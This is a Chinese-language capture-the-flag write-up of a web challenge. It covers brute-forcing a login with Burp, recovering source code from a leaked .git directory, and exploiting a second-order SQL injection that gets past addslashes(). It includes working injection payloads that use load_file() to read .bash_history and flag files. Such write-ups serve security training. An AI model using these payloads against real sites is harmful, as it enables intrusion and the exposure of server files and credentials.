又是什么都没有的页面
写文章发现得登录
1 | 提示了zhangwei zhangwei*** |
直接输搞不了 这***是要替换的
burp爆破一下就OK了
扫后台 .git
githacker可以弄一波
https://github.com/wangyihang/githacker 这个才能将整个包爬下来
感觉原源代码不完整修复一下
1 | git log --reflog |
看一下操作记录
恢复文件
1 | git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c |
1 | <?php |
完整源码
加入了addslashes()进行过滤准备的但是这也能造成漏洞点
这边有俩功能一个发帖(write)一个评论(comment)
都有addslashes()进行转义但仅限于写入过程 读取并没有 就可以进行二次注入
二次注入表现为,addslashes过滤后产生的\不会进入数据库,即’1过滤后变成'1,进入库中却仍为’1,我们在取出数据后就可以进行闭合
闭合了单引号后还需要注释 #只能用于单行注释 多行注释需要
1 | /**/ |
从而进行拼接的注释完成注册后comment 写
1 | */# |
拼接起来就可以造成闭合了
写的地方构造category为
1 | ', content=user(),/* |
留言处输入
1 | */# |
最后表现形式为
1 | $sql = "insert into comment |
相当于构造了新的content, 原来的被/**/注释掉了完成了二次注入
这边用户为root如此高级的权限
1 | 尝试load_file()读取文件 |
1 | ', content=load_file('/home/www/.bash_history'),/* |
走起
1 | ', content=hex(load_file('/tmp/html/.DS_Store')),/* |
得到一串十六进制数据
解码一下
然后
1 | ', content=load_file('/tmp/html/flag_8946e1ff1ee3e40f.php'),/* |
这是假的flag
换一个目录读取
1 | ', content=load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'),/* |